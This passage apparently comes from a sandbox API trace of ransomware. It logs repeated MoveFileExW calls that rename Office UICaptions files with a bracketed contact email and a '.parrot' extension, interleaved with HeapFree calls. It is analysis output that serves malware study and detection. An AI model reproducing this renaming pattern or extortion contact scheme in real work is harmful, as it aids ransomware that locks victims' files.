(normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PPINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\ppintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0101.797] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.798] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0101.855] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUB6INTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pub6intl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.856] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.857] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0101.896] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\PUBWZINT.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\pubwzint.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.897] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0101.908] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\SGRES.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\sgres.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.909] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0101.914] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\STINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\stintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0101.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.914] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0101.919] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISBRRES.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visbrres.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0101.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0101.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0101.920] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0102.004] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\VISINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\visintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0102.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.005] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0102.032] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0102.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.033] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0102.075] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\WWINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\wwintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639fc0 | out: hHeap=0x5b0000) returned 1 [0102.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.076] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0102.152] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0102.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.153] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0102.197] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLINTL32.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlintl32.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0102.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0102.211] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\XLSLICER.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\xlslicer.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67d448 | out: hHeap=0x5b0000) returned 1 [0102.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.213] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0102.220] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ENVELOPR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\envelopr.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.221] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0102.228] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.229] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0102.251] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.253] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0102.330] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MAPIR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mapir.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.331] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0102.345] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MOR6INT.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\mor6int.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.346] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0102.362] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.365] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0102.409] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\MSOINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\msointl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0102.426] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OMSINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\omsintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.427] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0102.436] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.437] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x222c090 | out: hHeap=0x5b0000) returned 1 [0102.457] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\ONINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\onintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.459] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0102.529] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22720b0 | out: hHeap=0x5b0000) returned 1 [0102.587] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLLIBR.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outllibr.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.588] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0102.656] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\OUTLWVW.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\outlwvw.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63d210 | out: hHeap=0x5b0000) returned 1 [0102.664] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22340d0 | out: hHeap=0x5b0000) returned 1 [0102.694] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PPINTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\ppintl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63ab88 | out: hHeap=0x5b0000) returned 1 [0102.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.695] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x23f0020 | out: hHeap=0x5b0000) returned 1 [0102.720] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.DLL.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.dll.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.721] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a460 | out: hHeap=0x5b0000) returned 1 [0102.775] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\PUB6INTL.REST.trx_dll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\pub6intl.rest.trx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0102.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67e1d8 | out: hHeap=0x5b0000) returned 1 [0102.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d538 | out: hHeap=0x5b0000) returned 1 [0102.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2fb0020 | out: hHeap=0x5b0000) returned 1 [0102.817] MoveFileExW 